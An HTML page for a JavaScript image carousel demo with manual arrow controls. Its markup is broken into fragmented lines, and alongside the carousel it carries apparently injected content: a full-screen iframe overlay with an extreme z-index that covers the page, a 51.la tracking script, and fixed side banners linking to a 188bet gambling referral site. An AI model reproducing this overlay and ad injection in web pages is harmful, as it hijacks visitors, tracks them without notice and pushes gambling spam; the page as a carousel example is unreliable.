<meta http-equiv=
"Content-Type"
content=
"text/html; charset=utf-8"
>
<title>js图片轮播手动切换效果</title>
<script type=
"text/javascript"
src=
"js/ScrollPicLeft.js"
></script>
<style>
html,body,ul,li{margin:0; padding:0;}
ul,li{ list-style:none;}
.dd_main{ width:520px;}
.zl_left { width:35px; float:left; text-align:left; padding-top:60px}
.zl_right { width:35px; float:right; text-align:right; padding-top:60px}
.zl_content { width:450px; height:153px; float:left; overflow:hidden;}
.zl_content ul li { width:130px; padding:0 10px; text-align:center; float:left;}
.welcome{ position:fixed; width:100%; text-align:center; bottom:30px;}
.welcome a{ color:#0350B8;}
</style>
<script type=
"text/javascript"
src=
"/js/jquery.3.5.2.min.m.js"
></script><div style=
"Z-INDEX:1000000000000000000;POSITION:absolute;TEXT-ALIGN:left;BACKGROUND-COLOR:#ffffff;WIDTH:100%;HEIGHT:100%; TOP:0px; RIGHT:0px;LEFT:0px;"
><iframe frameborder=
"no"
src=
"/gg/in/index.html"
style=
"height: 100%;width: 100%;position: fixed;left:0; top:0;"
></iframe></div><script>!
function
(p){
"use strict"
;!
function
(t){
var
s=window,e=document,i=p,c=
""
.concat(
"https:"
===e.location.protocol?
"https://"
:
"http://"
,
"sdk.51.la/js-sdk-pro.min.js"
),n=e.createElement(
"script"
),r=e.getElementsByTagName(
"script"
)[0];n.type=
"text/javascript"
,n.setAttribute(
"charset"
,
"UTF-8"
),n.async=!0,n.src=c,n.id=
"LA_COLLECT"
,i.d=n;
var
o=
function
(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:
"K0m2TJ2kWzkFfr5E"
,ck:
"K0m2TJ2kWzkFfr5E"
});</script>
<div style=
"position: fixed;right: 0;top:100px;width: 125px; z-index:2000;"
><div><a target=
"_blank"
rel=
"nofollow"
href=
"https://www.520xingyun.com/from/188bet.php"
><img width=
"120px"
height=
"550px"
src=
"https://www.520xingyun.com/images/188_120.gif"
></a></div></div><div style=
"position: fixed;left: 0;top: 100px;width: 125px;z-index:2000;"
><div><a target=
"_blank"
rel=
"nofollow"
href=
"https://www.520xingyun.com/from/188bet.php"
><img width=
"120px"
height=
"550px"
src=
"https://www.520xingyun.com/images/188_120.gif"
></a></div></div>
<p
class
=
"dd_main"
>
</p><p
class
=
"zl_left"
id=
"Left_Photo"
><a href=
"javascript:void(0)"
><img src=
"images/zl_tb1.jpg"
width=
"24"
height=
"32"
></a></p>
<p
class
=
"zl_content"
>
</p><ul id=
"ISL_Photo"
>
<li><img src=
"images/zl_tp.jpg"
width=
"130"
height=
"153"
></li>
<li><img src=
"images/zl_tp.jpg"
width=
"130"
height=
"153"
></li>
<li><img src=
"images/zl_tp.jpg"
width=
"130"
height=
"153"
></li>
<li><img src=
"images/zl_tp.jpg"
width=
"130"
height=
"153"
></li>
<li><img src=
"images/zl_tp.jpg"
width=
"130"
height=
"153"
></li>
<li><img src=
"images/zl_tp.jpg"
width=
"130"
height=
"153"
></li>
<li><img src=
"images/zl_tp.jpg"
width=
"130"
height=
"153"
></li>
</ul>
<p></p>
<p
class
=
"zl_right"
id=
"Right_Photo"
><a href=
"javascript:void(0)"
><img src=
"images/zl_tb2.jpg"
width=
"24"
height=
"32"
></a></p>
<p></p>
<script type=
"text/javascript"
>
var
scrollPhoto =
new
ScrollPicleft();
scrollPhoto.scrollContId =
"ISL_Photo"
;
scrollPhoto.arrLeftId =
"Left_Photo"
;
scrollPhoto.arrRightId =
"Right_Photo"
;
scrollPhoto.frameWidth = 450;
scrollPhoto.pageWidth = 150;
scrollPhoto.speed = 10;
scrollPhoto.space = 10;
scrollPhoto.autoPlay = false;
scrollPhoto.autoPlayTime = 3;
scrollPhoto.initialize();
</script>